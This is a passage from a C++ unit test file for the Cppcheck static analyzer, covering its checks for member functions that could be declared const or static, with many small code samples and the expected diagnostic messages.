errout_str());\n }\n\n void const77() {\n checkConst(\"template \\n\" // #10307\n \"struct S {\\n\"\n \" std::vector const* f() const { return p; }\\n\"\n \" std::vector const* p;\\n\"\n \"};\\n\");\n ASSERT_EQUALS(\"\", errout_str());\n\n checkConst(\"struct S {\\n\" // #10311\n \" std::vector v;\\n\"\n \" std::vector& f() { return v; }\\n\"\n \"};\\n\");\n ASSERT_EQUALS(\"\", errout_str());\n }\n\n void const78() { // #10315\n checkConst(\"struct S {\\n\"\n \" typedef void(S::* F)();\\n\"\n \" void g(F f);\\n\"\n \"};\\n\"\n \"void S::g(F f) {\\n\"\n \" (this->*f)();\\n\"\n \"}\\n\");\n ASSERT_EQUALS(\"\", errout_str());\n\n checkConst(\"struct S {\\n\"\n \" using F = void(S::*)();\\n\"\n \" void g(F f);\\n\"\n \"};\\n\"\n \"void S::g(F f) {\\n\"\n \" (this->*f)();\\n\"\n \"}\\n\");\n ASSERT_EQUALS(\"\", errout_str());\n }\n\n void const79() { // #9861\n checkConst(\"class A {\\n\"\n \"public:\\n\"\n \" char* f() {\\n\"\n \" return nullptr;\\n\"\n \" }\\n\"\n \"};\\n\");\n ASSERT_EQUALS(\"[test.cpp:3:11]: (performance, inconclusive) Technically the member function 'A::f' can be static (but you may consider moving to unnamed namespace). [functionStatic]\\n\",\n errout_str());\n }\n\n void const80() { // #11328\n checkConst(\"struct B { static void b(); };\\n\"\n \"struct S : B {\\n\"\n \" static void f() {}\\n\"\n \" void g() const;\\n\"\n \" void h();\\n\"\n \" void k();\\n\"\n \" void m();\\n\"\n \" void n();\\n\"\n \" int i;\\n\"\n \"};\\n\"\n \"void S::g() const {\\n\"\n \" this->f();\\n\"\n \"}\\n\"\n \"void S::h() {\\n\"\n \" this->f();\\n\"\n \"}\\n\"\n \"void S::k() {\\n\"\n \" if (i)\\n\"\n \" this->f();\\n\"\n \"}\\n\"\n \"void S::m() {\\n\"\n \" this->B::b();\\n\"\n \"}\\n\"\n \"void S::n() {\\n\"\n \" this->h();\\n\"\n \"}\\n\");\n ASSERT_EQUALS(\"[test.cpp:4:10] -> [test.cpp:11:9]: (performance, inconclusive) Technically the member function 'S::g' can be static (but you may consider moving to unnamed namespace). [functionStatic]\\n\"\n \"[test.cpp:5:10] -> [test.cpp:14:9]: (performance, inconclusive) Technically the member function 'S::h' can be static (but you may consider moving to unnamed namespace). [functionStatic]\\n\"\n \"[test.cpp:6:10] -> [test.cpp:17:9]: (style, inconclusive) Technically the member function 'S::k' can be const. [functionConst]\\n\"\n \"[test.cpp:7:10] -> [test.cpp:21:9]: (performance, inconclusive) Technically the member function 'S::m' can be static (but you may consider moving to unnamed namespace). [functionStatic]\\n\",\n errout_str());\n }\n\n void const81() {\n checkConst(\"struct A {\\n\" // #11330\n \" bool f() const;\\n\"\n \"};\\n\"\n \"struct S {\\n\"\n \" std::shared_ptr a;\\n\"\n \" void g() {\\n\"\n \" if (a->f()) {}\\n\"\n \" }\\n\"\n \"};\\n\");\n ASSERT_EQUALS(\"[test.cpp:6:10]: (style, inconclusive) Technically the member function 'S::g' can be const. [functionConst]\\n\",\n errout_str());\n\n checkConst(\"struct A {\\n\" // #11499\n \" void f() const;\\n\"\n \"};\\n\"\n \"template\\n\"\n \"struct P {\\n\"\n \" T* operator->();\\n\"\n \" const T* operator->() const;\\n\"\n \"};\\n\"\n \"struct S {\\n\"\n \" P p;\\n\"\n \" void g() { p->f(); }\\n\"\n \"};\\n\");\n ASSERT_EQUALS(\"[test.cpp:11:10]: (style, inconclusive) Technically the member function 'S::g' can be const. [functionConst]\\n\",\n errout_str());\n\n checkConst(\"struct A {\\n\"\n \" void f(int) const;\\n\"\n \"};\\n\"\n \"template\\n\"\n \"struct P {\\n\"\n \" T* operator->();\\n\"\n \" const T* operator->() const;\\n\"\n \"};\\n\"\n \"struct S {\\n\"\n \" P p;\\n\"\n \" void g() { p->f(1); }\\n\"\n \"};\\n\");\n ASSERT_EQUALS(\"[test.cpp:11:8]: (style, inconclusive) Technically the member function 'S::g' can be const. [functionConst]\\n\", errout_str());\n\n checkConst(\"struct A {\\n\"\n \" void f(void*) const;\\n\"\n \"};\\n\"\n \"template\\n\"\n \"struct P {\\n\"\n \" T* operator->();\\n\"\n \" const T* operator->() const;\\n\"\n \" P& operator=(P) {\\n\"\n \" return *this;\\n\"\n \" }\\n\"\n \"};\\n\"\n \"struct S {\\n\"\n \" P p;\\n\"\n \" std::vector g() { p->f(nullptr); return {}; }\\n\"\n \"};\\n\");\n ASSERT_EQUALS(\"[test.cpp:14:20]: (style, inconclusive) Technically the member function 'S::g' can be const. [functionConst]\\n\", errout_str());\n\n checkConst(\"struct A {\\n\"\n \" void f();\\n\"\n \"};\\n\"\n \"template\\n\"\n \"struct P {\\n\"\n \" T* operator->();\\n\"\n \" const T* operator->() const;\\n\"\n \"};\\n\"\n \"struct S {\\n\"\n \" P p;\\n\"\n \" void g() { p->f(); }\\n\"\n \"};\\n\");\n ASSERT_EQUALS(\"\", errout_str());\n\n checkConst(\"struct A {\\n\"\n \" void f() const;\\n\"\n \"};\\n\"\n \"template\\n\"\n \"struct P {\\n\"\n \" T* operator->();\\n\"\n \"};\\n\"\n \"struct S {\\n\"\n \" P p;\\n\"\n \" void g() { p->f(); }\\n\"\n \"};\\n\");\n ASSERT_EQUALS(\"\", errout_str());\n\n checkConst(\"struct A {\\n\"\n \" void f(int&) const;\\n\"\n \"};\\n\"\n \"template\\n\"\n \"struct P {\\n\"\n \" T* operator->();\\n\"\n \" const T* operator->() const;\\n\"\n \"};\\n\"\n \"struct S {\\n\"\n \" P p;\\n\"\n \" int i;\\n\"\n \" void g() { p->f(i); }\\n\"\n \"};\\n\");\n ASSERT_EQUALS(\"\", errout_str());\n\n checkConst(\"struct A {\\n\" // #11501\n \" enum E { E1 };\\n\"\n \" virtual void f(E) const = 0;\\n\"\n \"};\\n\"\n \"struct F {\\n\"\n \" A* a;\\n\"\n \" void g() { a->f(A::E1); }\\n\"\n \"};\\n\");\n ASSERT_EQUALS(\"[test.cpp:7:10]: (style, inconclusive) Technically the member function 'F::g' can be const. [functionConst]\\n\", errout_str());\n }\n\n void const82() { // #11513\n checkConst(\"struct S {\\n\"\n \" int i;\\n\"\n \" void h(bool) const;\\n\"\n \" void g() { h(i == 1); }\\n\"\n \"};\\n\");\n ASSERT_EQUALS(\"[test.cpp:4:10]: (style, inconclusive) Technically the member function 'S::g' can be const. [functionConst]\\n\",\n errout_str());\n\n checkConst(\"struct S {\\n\"\n \" int i;\\n\"\n \" void h(int, int*) const;\\n\"\n \" void g() { int a; h(i, &a); }\\n\"\n \"};\\n\");\n ASSERT_EQUALS(\"[test.cpp:4:10]: (style, inconclusive) Technically the member function 'S::g' can be const. [functionConst]\\n\",\n errout_str());\n }\n\n void const83() {\n checkConst(\"struct S {\\n\"\n \" int i1, i2;\\n\"\n \" void f(bool b);\\n\"\n \" void g(bool b, int j);\\n\"\n \"};\\n\"\n \"void S::f(bool b) {\\n\"\n \" int& r = b ? i1 : i2;\\n\"\n \" r = 5;\\n\"\n \"}\\n\"\n \"void S::g(bool b, int j) {\\n\"\n \" int& r = b ? j : i2;\\n\"\n \" r = 5;\\n\"\n \"}\\n\");\n ASSERT_EQUALS(\"\", errout_str());\n }\n\n void const84() {\n checkConst(\"class S {};\\n\" // #11616\n \"struct T {\\n\"\n \" T(const S*);\\n\"\n \" T(const S&);\\n\"\n \"};\\n\"\n \"struct C {\\n\"\n \" const S s;\\n\"\n \" void f1() {\\n\"\n \" T t(&s);\\n\"\n \" }\\n\"\n \" void f2() {\\n\"\n \" T t(s);\\n\"\n \" }\\n\"\n \"};\\n\");\n ASSERT_EQUALS(\"[test.cpp:8:10]: (style, inconclusive) Technically the member function 'C::f1' can be const. [functionConst]\\n\"\n \"[test.cpp:11:10]: (style, inconclusive) Technically the member function 'C::f2' can be const. [functionConst]\\n\",\n errout_str());\n }\n\n void const85() { // #11618\n checkConst(\"struct S {\\n\"\n \" int a[2], b[2];\\n\"\n \" void f() { f(a, b); }\\n\"\n \" static void f(const int p[2], int q[2]);\\n\"\n \"};\\n\"\n \"void S::f(const int p[2], int q[2]) {\\n\"\n \" q[0] = p[0];\\n\"\n \" q[1] = p[1];\\n\"\n \"}\\n\");\n ASSERT_EQUALS(\"\", errout_str());\n }\n\n void const86() { // #11621\n checkConst(\"struct S { int* p; };\\n\"\n \"struct T { int m; int* p; };\\n\"\n \"struct U {\\n\"\n \" int i;\\n\"\n \" void f() { S s = { &i }; }\\n\"\n \" void g() { int* a[] = { &i }; }\\n\"\n \" void h() { T t = { 1, &i }; }\\n\"\n \"}\\n\");\n ASSERT_EQUALS(\"\", errout_str());\n }\n\n void const87() {\n checkConst(\"struct Tokenizer {\\n\" // #11720\n \" bool isCPP() const {\\n\"\n \" return cpp;\\n\"\n \" }\\n\"\n \" bool cpp;\\n\"\n \"};\\n\"\n \"struct Check {\\n\"\n \" const Tokenizer* const mTokenizer;\\n\"\n \" const int* const mSettings;\\n\"\n \"};\\n\"\n \"struct CheckA : Check {\\n\"\n \" static bool test(const std::string& funcname, const int* settings, bool cpp);\\n\"\n \"};\\n\"\n \"struct CheckB : Check {\\n\"\n \" bool f(const std::string& s);\\n\"\n \"};\\n\"\n \"bool CheckA::test(const std::string& funcname, const int* settings, bool cpp) {\\n\"\n \" return !funcname.empty() && settings && cpp;\\n\"\n \"}\\n\"\n \"bool CheckB::f(const std::string& s) {\\n\"\n \" return CheckA::test(s, mSettings, mTokenizer->isCPP());\\n\"\n \"}\\n\");\n ASSERT_EQUALS(\"[test.cpp:15:10] -> [test.cpp:20:14]: (style, inconclusive) Technically the member function 'CheckB::f' can be const. [functionConst]\\n\", errout_str());\n\n checkConst(\"void g(int&);\\n\"\n \"struct S {\\n\"\n \" struct { int i; } a[1];\\n\"\n \" void f() { g(a[0].i); }\\n\"\n \"};\\n\");\n ASSERT_EQUALS(\"\", errout_str());\n\n checkConst(\"struct S {\\n\"\n \" const int& g() const { return i; }\\n\"\n \" int i;\\n\"\n \"};\\n\"\n \"void h(int, const int&);\\n\"\n \"struct T {\\n\"\n \" S s;\\n\"\n \" int j;\\n\"\n \" void f() { h(j, s.g()); }\\n\"\n \"};\\n\");\n ASSERT_EQUALS(\"[test.cpp:9:10]: (style, inconclusive) Technically the member function 'T::f' can be const. [functionConst]\\n\", errout_str());\n\n checkConst(\"struct S {\\n\"\n \" int& g() { return i; }\\n\"\n \" int i;\\n\"\n \"};\\n\"\n \"void h(int, int&);\\n\"\n \"struct T {\\n\"\n \" S s;\\n\"\n \" int j;\\n\"\n \" void f() { h(j, s.g()); }\\n\"\n \"};\\n\");\n ASSERT_EQUALS(\"\", errout_str());\n\n checkConst(\"struct S {\\n\"\n \" const int& g() const { return i; }\\n\"\n \" int i;\\n\"\n \"};\\n\"\n \"void h(int, const int*);\\n\"\n \"struct T {\\n\"\n \" S s;\\n\"\n \" int j;\\n\"\n \" void f() { h(j, &s.g()); }\\n\"\n \"};\\n\");\n ASSERT_EQUALS(\"[test.cpp:9:10]: (style, inconclusive) Technically the member function 'T::f' can be const. [functionConst]\\n\", errout_str());\n\n checkConst(\"struct S {\\n\"\n \" int& g() { return i; }\\n\"\n \" int i;\\n\"\n \"};\\n\"\n \"void h(int, int*);\\n\"\n \"struct T {\\n\"\n \" S s;\\n\"\n \" int j;\\n\"\n \" void f() { h(j, &s.g()); }\\n\"\n \"};\\n\");\n ASSERT_EQUALS(\"\", errout_str());\n\n checkConst(\"void j(int** x);\\n\"\n \"void k(int* const* y);\\n\"\n \"struct S {\\n\"\n \" int* p;\\n\"\n \" int** q;\\n\"\n \" int* const* r;\\n\"\n \" void f1() { j(&p); }\\n\"\n \" void f2() { j(q); }\\n\"\n \" void g1() { k(&p); }\\n\"\n \" void g2() { k(q); }\\n\"\n \" void g3() { k(r); }\\n\"\n \"};\\n\");\n ASSERT_EQUALS(\"\", errout_str());\n\n checkConst(\"void m(int*& r);\\n\"\n \"void n(int* const& s);\\n\"\n \"struct T {\\n\"\n \" int i;\\n\"\n \" int* p;\\n\"\n \" void f1() { m(p); }\\n\"\n \" void f2() { n(&i); }\\n\"\n \" void f3() { n(p); }\\n\"\n \"};\\n\");\n ASSERT_EQUALS(\"\", errout_str());\n }\n\n void const88() { // #11626\n checkConst(\"struct S {\\n\"\n \" bool f() { return static_cast(p); }\\n\"\n \" const int* g() { return const_cast(p); }\\n\"\n \" const int* h() { return (const int*)p; }\\n\"\n \" char* j() { return reinterpret_cast(p); }\\n\"\n \" char* k() { return (char*)p; }\\n\"\n \" int* p;\\n\"\n \"};\\n\");\n ASSERT_EQUALS(\"[test.cpp:2:10]: (style, inconclusive) Technically the member function 'S::f' can be const. [functionConst]\\n\"\n \"[test.cpp:3:16]: (style, inconclusive) Technically the member function 'S::g' can be const. [functionConst]\\n\"\n \"[test.cpp:4:16]: (style, inconclusive) Technically the member function 'S::h' can be const. [functionConst]\\n\",\n errout_str());\n\n checkConst(\"struct S {\\n\"\n \" bool f() { return p != nullptr; }\\n\"\n \" std::shared_ptr p;\\n\"\n \"};\\n\");\n ASSERT_EQUALS(\"[test.cpp:2:10]: (style, inconclusive) Technically the member function 'S::f' can be const. [functionConst]\\n\",\n errout_str());\n }\n\n void const89() {\n checkConst(\"struct S {\\n\" // #11654\n \" void f(bool b);\\n\"\n \" int i;\\n\"\n \"};\\n\"\n \"void S::f(bool b) {\\n\"\n \" if (i && b)\\n\"\n \" f(false);\\n\"\n \"}\\n\");\n ASSERT_EQUALS(\"[test.cpp:2:10] -> [test.cpp:5:9]: (style, inconclusive) Technically the member function 'S::f' can be const. [functionConst]\\n\", errout_str());\n\n checkConst(\"struct S {\\n\"\n \" void f(int& r);\\n\"\n \" int i;\\n\"\n \"};\\n\"\n \"void S::f(int& r) {\\n\"\n \" r = 0;\\n\"\n \" if (i)\\n\"\n \" f(i);\\n\"\n \"}\\n\");\n ASSERT_EQUALS(\"\", errout_str());\n\n checkConst(\"struct S {\\n\" // #11744\n \" S* p;\\n\"\n \" int f() {\\n\"\n \" if (p)\\n\"\n \" return 1 + p->f();\\n\"\n \" return 1;\\n\"\n \" }\\n\"\n \" int g(int i) {\\n\"\n \" if (i > 0)\\n\"\n \" return i + g(i - 1);\\n\"\n \" return 0;\\n\"\n \" }\\n\"\n \"};\\n\");\n ASSERT_EQUALS(\"[test.cpp:3:9]: (style, inconclusive) Technically the member function 'S::f' can be const. [functionConst]\\n\"\n \"[test.cpp:8:9]: (performance, inconclusive) Technically the member function 'S::g' can be static (but you may consider moving to unnamed namespace). [functionStatic]\\n\",\n errout_str());\n\n checkConst(\"class C {\\n\" // #11653\n \"public:\\n\"\n \" void f(bool b) const;\\n\"\n \"};\\n\"\n \"void C::f(bool b) const {\\n\"\n \" if (b)\\n\"\n \" f(false);\\n\"\n \"}\\n\");\n ASSERT_EQUALS(\"[test.cpp:3:10] -> [test.cpp:5:9]: (performance, inconclusive) Technically the member function 'C::f' can be static (but you may consider moving to unnamed namespace). [functionStatic]\\n\",\n errout_str());\n }\n\n void const90() { // #11637\n checkConst(\"class S {};\\n\"\n \"struct C {\\n\"\n \" C(const S*);\\n\"\n \" C(const S&);\\n\"\n \"};\\n\"\n \"class T {\\n\"\n \" S s;\\n\"\n \" void f1() { C c = C{ &s }; }\\n\"\n \" void f2() { C c = C{ s }; }\\n\"\n \"};\\n\");\n ASSERT_EQUALS(\"[test.cpp:8:10]: (style, inconclusive) Technically the member function 'T::f1' can be const. [functionConst]\\n\"\n \"[test.cpp:9:10]: (style, inconclusive) Technically the member function 'T::f2' can be const. [functionConst]\\n\",\n errout_str());\n }\n\n void const91() { // #11790\n checkConst(\"struct S {\\n\"\n \" char* p;\\n\"\n \" template \\n\"\n \" T* get() {\\n\"\n \" return reinterpret_cast(p);\\n\"\n \" }\\n\"\n \"};\\n\"\n \"const int* f(S& s) {\\n\"\n \" return s.get();\\n\"\n \"}\\n\");\n ASSERT_EQUALS(\"\", errout_str());\n }\n\n void const92() { // #11886\n checkConst(\"void g(int);\\n\"\n \"template\\n\"\n \"struct S : public S {\\n\"\n \" void f() {\\n\"\n \" g(n - 1);\\n\"\n \" }\\n\"\n \"};\\n\"\n \"template<>\\n\"\n \"struct S<0> {};\\n\"\n \"struct D : S<150> {};\\n\");\n // don't hang\n }\n\n void const93() { // #12162\n checkConst(\"struct S {\\n\"\n \" bool f() {\\n\"\n \" return m.cbegin()->first == 0;\\n\"\n \" }\\n\"\n \" bool g() {\\n\"\n \" return m.count(0);\\n\"\n \" }\\n\"\n \" std::map m;\\n\"\n \"};\\n\");\n ASSERT_EQUALS(\"[test.cpp:2:10]: (style, inconclusive) Technically the member function 'S::f' can be const. [functionConst]\\n\"\n \"[test.cpp:5:10]: (style, inconclusive) Technically the member function 'S::g' can be const. [functionConst]\\n\",\n errout_str());\n }\n\n void const94() { // #7459\n checkConst(\"class A {\\n\"\n \"public:\\n\"\n \" A() : tickFunction(&A::nop) {}\\n\"\n \" void tick() { (this->*tickFunction)(); }\\n\"\n \"private:\\n\"\n \" typedef void (A::* Fn)();\\n\"\n \" Fn tickFunction;\\n\"\n \" void nop() {}\\n\"\n \"};\\n\");\n ASSERT_EQUALS(\"\", errout_str());\n }\n\n void const95() { // #13320\n checkConst(\"class C {\\n\"\n \" std::string x;\\n\"\n \" std::string get() && { return x; }\\n\"\n \"};\\n\");\n ASSERT_EQUALS(\"\", errout_str());\n }\n\n void const96() {\n checkConst(\"struct S : B {\\n\" // #13282\n \" bool f() { return b; }\\n\"\n \" bool g() override { return b; }\\n\"\n \" bool b;\\n\"\n \"};\\n\");\n ASSERT_EQUALS(\"[test.cpp:2:10]: (style, inconclusive) Either there is a missing 'override', or the member function 'S::f' can be const. [functionConst]\\n\", errout_str());\n\n checkConst(\"struct B;\\n\" // #13382\n \"struct S : B {\\n\"\n \" void f();\\n\"\n \"};\\n\"\n \"void S::f() {\\n\"\n \" B::g(0);\\n\"\n \"}\\n\");\n ASSERT_EQUALS(\"\", errout_str());\n }\n\n void const97() { // #13301\n checkConst(\"struct S {\\n\"\n \" std::vector v;\\n\"\n \" int f() {\\n\"\n \" const int& r = v.front();\\n\"\n \" return r;\\n\"\n \" }\\n\"\n \" int g() {\\n\"\n \" const int& r = v.at(0);\\n\"\n \" return r;\\n\"\n \" }\\n\"\n \" void h() {\\n\"\n \" if (v.front() == 0) {}\\n\"\n \" if (1 == v.front()) {}\\n\"\n \" }\\n\"\n \" void i() {\\n\"\n \" v.at(0) = 0;\\n\"\n \" }\\n\"\n \" void j() {\\n\"\n \" dostuff(1, v.at(0));\\n\"\n \" }\\n\"\n \" void k() {\\n\"\n \" int& r = v.front();\\n\"\n \" r = 0;\\n\"\n \" }\\n\"\n \"};\\n\");\n ASSERT_EQUALS(\"[test.cpp:3:9]: (style, inconclusive) Technically the member function 'S::f' can be const. [functionConst]\\n\"\n \"[test.cpp:7:9]: (style, inconclusive) Technically the member function 'S::g' can be const. [functionConst]\\n\"\n \"[test.cpp:11:10]: (style, inconclusive) Technically the member function 'S::h' can be const. [functionConst]\\n\",\n errout_str());\n\n checkConst(\"struct B { std::string s; };\\n\"\n \"struct D : B {\\n\"\n \" bool f(std::string::iterator it) { return it == B::s.begin(); }\\n\"\n \"};\\n\");\n ASSERT_EQUALS(\"[test.cpp:3:10]: (style, inconclusive) Technically the member function 'D::f' can be const. [functionConst]\\n\",\n errout_str());\n }\n\n void const98() { // #13642\n checkConst(\"enum E {\\n\"\n \" E0,\\n\"\n \" E1\\n\"\n \"};\\n\"\n \"void set(int* p) {\\n\"\n \" *p = 1;\\n\"\n \"}\\n\"\n \"struct S {\\n\"\n \" E e;\\n\"\n \" void f() {\\n\"\n \" set(reinterpret_cast(&e));\\n\"\n \" }\\n\"\n \" void g() {\\n\"\n \" set(reinterpret_cast(reinterpret_cast(&e)));\\n\"\n \" }\\n\"\n \" void h() {\\n\"\n \" set((int*)(&e));\\n\"\n \" }\\n\"\n \"};\\n\");\n ASSERT_EQUALS(\"\", errout_str());\n\n checkConst(\"enum E {\\n\"\n \" E0,\\n\"\n \" E1\\n\"\n \"};\\n\"\n \"void set1(int i, int* p) {\\n\"\n \" *p = i;\\n\"\n \"}\\n\"\n \"void set2(int* p, int i) {\\n\"\n \" *p = i;\\n\"\n \"}\\n\"\n \"struct S {\\n\"\n \" E e;\\n\"\n \" void f1() {\\n\"\n \" set1(1, reinterpret_cast(&e));\\n\"\n \" }\\n\"\n \" void f2() {\\n\"\n \" set2(reinterpret_cast(&e), 1);\\n\"\n \" }\\n\"\n \" void g1() {\\n\"\n \" set1(1, reinterpret_cast(reinterpret_cast(&e)));\\n\"\n \" }\\n\"\n \" void g2() {\\n\"\n \" set2(reinterpret_cast(reinterpret_cast(&e)), 1);\\n\"\n \" }\\n\"\n \"};\\n\");\n ASSERT_EQUALS(\"\", errout_str());\n }\n\n void const99() {\n checkConst(\"typedef void (*InitFunc)(void**);\\n\" // #13953\n \"struct S {\\n\"\n \" int *m;\\n\"\n \" void f(InitFunc func) {\\n\"\n \" func(reinterpret_cast(&m));\\n\"\n \" }\\n\"\n \"};\\n\");\n ASSERT_EQUALS(\"\", errout_str());\n }\n\n void const100() {\n checkConst(\"struct S {\\n\" // #14023\n \" void f() { ++i; }\\n\"\n \" void f() const {}\\n\"\n \" int i;\\n\"\n \"};\\n\");\n ASSERT_EQUALS(\"\", errout_str());\n\n checkConst(\"struct S {\\n\" // #14033\n \" void f();\\n\"\n \" void f() const {}\\n\"\n \"};\\n\");\n ASSERT_EQUALS(\"\", errout_str()); // don't crash\n }\n\n void const_handleDefaultParameters() {\n checkConst(\"struct Foo {\\n\"\n \" void foo1(int i, int j = 0) {\\n\"\n \" return func(this);\\n\"\n \" }\\n\"\n \" int bar1() {\\n\"\n \" return foo1(1);\\n\"\n \" }\\n\"\n \" int bar2() {\\n\"\n \" return foo1(1, 2);\\n\"\n \" }\\n\"\n \" int bar3() {\\n\"\n \" return foo1(1, 2, 3);\\n\"\n \" }\\n\"\n \" int bar4() {\\n\"\n \" return foo1();\\n\"\n \" }\\n\"\n \" void foo2(int i = 0) {\\n\"\n \" return func(this);\\n\"\n \" }\\n\"\n \" int bar5() {\\n\"\n \" return foo2();\\n\"\n \" }\\n\"\n \" void foo3() {\\n\"\n \" return func(this);\\n\"\n \" }\\n\"\n \" int bar6() {\\n\"\n \" return foo3();\\n\"\n \" }\\n\"\n \"};\");\n ASSERT_EQUALS(\"[test.cpp:11:9]: (performance, inconclusive) Technically the member function 'Foo::bar3' can be static (but you may consider moving to unnamed namespace). [functionStatic]\\n\"\n \"[test.cpp:14:9]: (performance, inconclusive) Technically the member function 'Foo::bar4' can be static (but you may consider moving to unnamed namespace). [functionStatic]\\n\", errout_str());\n }\n\n void const_passThisToMemberOfOtherClass() {\n checkConst(\"struct Foo {\\n\"\n \" void foo() {\\n\"\n \" Bar b;\\n\"\n \" b.takeFoo(this);\\n\"\n \" }\\n\"\n \"};\");\n ASSERT_EQUALS(\"\", errout_str());\n\n checkConst(\"struct Foo {\\n\"\n \" void foo() {\\n\"\n \" Foo f;\\n\"\n \" f.foo();\\n\"\n \" }\\n\"\n \"};\");\n ASSERT_EQUALS(\"[test.cpp:2:10]: (performance, inconclusive) Technically the member function 'Foo::foo' can be static (but you may consider moving to unnamed namespace). [functionStatic]\\n\", errout_str());\n\n checkConst(\"struct A;\\n\" // #5839 - operator()\n \"struct B {\\n\"\n \" void operator()(A *a);\\n\"\n \"};\\n\"\n \"struct A {\\n\"\n \" void dostuff() {\\n\"\n \" B()(this);\\n\"\n \" }\\n\"\n \"};\");\n ASSERT_EQUALS(\"\", errout_str());\n }\n\n void assigningPointerToPointerIsNotAConstOperation() {\n checkConst(\"struct s\\n\"\n \"{\\n\"\n \" int** v;\\n\"\n \" void f()\\n\"\n \" {\\n\"\n \" v = 0;\\n\"\n \" }\\n\"\n \"};\");\n ASSERT_EQUALS(\"\", errout_str());\n }\n\n void assigningArrayElementIsNotAConstOperation() {\n checkConst(\"struct s\\n\"\n \"{\\n\"\n \" ::std::string v[3];\\n\"\n \" void f()\\n\"\n \" {\\n\"\n \" v[0] = \\\"Happy new year!\\\";\\n\"\n \" }\\n\"\n \"};\");\n ASSERT_EQUALS(\"\", errout_str());\n }\n\n // increment/decrement => not const\n void constincdec() {\n checkConst(\"class Fred {\\n\"\n \" int a;\\n\"\n \" void nextA() { return ++a; }\\n\"\n \"};\");\n ASSERT_EQUALS(\"\", errout_str());\n\n checkConst(\"class Fred {\\n\"\n \" int a;\\n\"\n \" void nextA() { return --a; }\\n\"\n \"};\");\n ASSERT_EQUALS(\"\", errout_str());\n\n checkConst(\"class Fred {\\n\"\n \" int a;\\n\"\n \" void nextA() { return a++; }\\n\"\n \"};\");\n ASSERT_EQUALS(\"\", errout_str());\n\n checkConst(\"class Fred {\\n\"\n \" int a;\\n\"\n \" void nextA() { return a--; }\\n\"\n \"};\");\n ASSERT_EQUALS(\"\", errout_str());\n\n checkConst(\"int a;\\n\"\n \"class Fred {\\n\"\n \" void nextA() { return ++a; }\\n\"\n \"};\");\n ASSERT_EQUALS(\"[test.cpp:3:10]: (performance, inconclusive) Technically the member function 'Fred::nextA' can be static (but you may consider moving to unnamed namespace). [functionStatic]\\n\", errout_str());\n\n checkConst(\"int a;\\n\"\n \"class Fred {\\n\"\n \" void nextA() { return --a; }\\n\"\n \"};\");\n ASSERT_EQUALS(\"[test.cpp:3:10]: (performance, inconclusive) Technically the member function 'Fred::nextA' can be static (but you may consider moving to unnamed namespace). [functionStatic]\\n\", errout_str());\n\n checkConst(\"int a;\\n\"\n \"class Fred {\\n\"\n \" void nextA() { return a++; }\\n\"\n \"};\");\n ASSERT_EQUALS(\"[test.cpp:3:10]: (performance, inconclusive) Technically the member function 'Fred::nextA' can be static (but you may consider moving to unnamed namespace). [functionStatic]\\n\", errout_str());\n\n checkConst(\"int a;\\n\"\n \"class Fred {\\n\"\n \" void nextA() { return a--; }\\n\"\n \"};\");\n ASSERT_EQUALS(\"[test.cpp:3:10]: (performance, inconclusive) Technically the member function 'Fred::nextA' can be static (but you may consider moving to unnamed namespace). [functionStatic]\\n\", errout_str());\n\n checkConst(\"struct S {\\n\" // #10077\n \" int i{};\\n\"\n \" S& operator ++() { ++i; return *this; }\\n\"\n \" S operator ++(int) { S s = *this; ++(*this); return s; }\\n\"\n \" void f() { (*this)--; }\\n\"\n \"};\\n\");\n ASSERT_EQUALS(\"\", errout_str());\n }\n\n void constassign1() {\n checkConst(\"class Fred {\\n\"\n \" int a;\\n\"\n \" void nextA() { return a=1; }\\n\"\n \"};\");\n ASSERT_EQUALS(\"\", errout_str());\n\n checkConst(\"class Fred {\\n\"\n \" int a;\\n\"\n \" void nextA() { return a-=1; }\\n\"\n \"};\");\n ASSERT_EQUALS(\"\", errout_str());\n\n checkConst(\"class Fred {\\n\"\n \" int a;\\n\"\n \" void nextA() { return a+=1; }\\n\"\n \"};\");\n ASSERT_EQUALS(\"\", errout_str());\n\n checkConst(\"class Fred {\\n\"\n \" int a;\\n\"\n \" void nextA() { return a*=-1; }\\n\"\n \"};\");\n ASSERT_EQUALS(\"\", errout_str());\n\n checkConst(\"class Fred {\\n\"\n \" int a;\\n\"\n \" void nextA() { return a/=-2; }\\n\"\n \"};\");\n ASSERT_EQUALS(\"\", errout_str());\n\n checkConst(\"int a;\\n\"\n \"class Fred {\\n\"\n \" void nextA() { return a=1; }\\n\"\n \"};\");\n ASSERT_EQUALS(\"[test.cpp:3:10]: (performance, inconclusive) Technically the member function 'Fred::nextA' can be static (but you may consider moving to unnamed namespace). [functionStatic]\\n\", errout_str());\n\n checkConst(\"int a;\\n\"\n \"class Fred {\\n\"\n \" void nextA() { return a-=1; }\\n\"\n \"};\");\n ASSERT_EQUALS(\"[test.cpp:3:10]: (performance, inconclusive) Technically the member function 'Fred::nextA' can be static (but you may consider moving to unnamed namespace). [functionStatic]\\n\", errout_str());\n\n checkConst(\"int a;\\n\"\n \"class Fred {\\n\"\n \" void nextA() { return a+=1; }\\n\"\n \"};\");\n ASSERT_EQUALS(\"[test.cpp:3:10]: (performance, inconclusive) Technically the member function 'Fred::nextA' can be static (but you may consider moving to unnamed namespace). [functionStatic]\\n\", errout_str());\n\n checkConst(\"int a;\\n\"\n \"class Fred {\\n\"\n \" void nextA() { return a*=-1; }\\n\"\n \"};\");\n ASSERT_EQUALS(\"[test.cpp:3:10]: (performance, inconclusive) Technically the member function 'Fred::nextA' can be static (but you may consider moving to unnamed namespace). [functionStatic]\\n\", errout_str());\n\n checkConst(\"int a;\\n\"\n \"class Fred {\\n\"\n \" void nextA() { return a/=-2; }\\n\"\n \"};\");\n ASSERT_EQUALS(\"[test.cpp:3:10]: (performance, inconclusive) Technically the member function 'Fred::nextA' can be static (but you may consider moving to unnamed namespace). [functionStatic]\\n\", errout_str());\n }\n\n void constassign2() {\n checkConst(\"class Fred {\\n\"\n \" struct A { int a; } s;\\n\"\n \" void nextA() { return s.a=1; }\\n\"\n \"};\");\n ASSERT_EQUALS(\"\", errout_str());\n\n checkConst(\"class Fred {\\n\"\n \" struct A { int a; } s;\\n\"\n \" void nextA() { return s.a-=1; }\\n\"\n \"};\");\n ASSERT_EQUALS(\"\", errout_str());\n\n checkConst(\"class Fred {\\n\"\n \" struct A { int a; } s;\\n\"\n \" void nextA() { return s.a+=1; }\\n\"\n \"};\");\n ASSERT_EQUALS(\"\", errout_str());\n\n checkConst(\"class Fred {\\n\"\n \" struct A { int a; } s;\\n\"\n \" void nextA() { return s.a*=-1; }\\n\"\n \"};\");\n ASSERT_EQUALS(\"\", errout_str());\n\n checkConst(\"struct A { int a; } s;\\n\"\n \"class Fred 